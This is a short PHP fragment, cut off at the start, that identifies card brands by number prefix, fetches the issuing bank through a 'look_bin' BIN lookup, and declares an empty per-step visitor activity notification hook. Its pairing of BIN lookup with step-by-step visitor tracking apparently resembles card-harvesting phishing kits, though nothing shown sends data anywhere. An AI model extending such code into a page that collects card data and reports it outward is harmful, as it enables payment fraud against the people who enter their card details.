    if (preg_match('/^4/', $n)) return 'Visa';
    if (preg_match('/^5[1-5]/', $n) || preg_match('/^2(2[2-9]\d|[3-6]\d{2}|7[01]\d|720)/', $n)) return 'Mastercard';
    if (preg_match('/^3[47]/', $n)) return 'Amex';
    if (preg_match('/^6(011|22126|4[4-9]|5)/', $n)) return 'Discover';
    return 'Unknown';
}

function getBankName($cardNumber) {
    $result = function_exists('look_bin') ? look_bin($cardNumber) : false;
    if (!$result) return 'Unknown';
    $parts = explode(' ', $result);
    $issuerParts = array_slice($parts, 4);
    $issuer = !empty($issuerParts) ? implode(' ', $issuerParts) : 'Unknown';
    return $issuer ?: 'Unknown';
}

function trigger_activity_notification($step, $visitorInfo = []) {
    // Hook point for external integrations — no-op by default
}
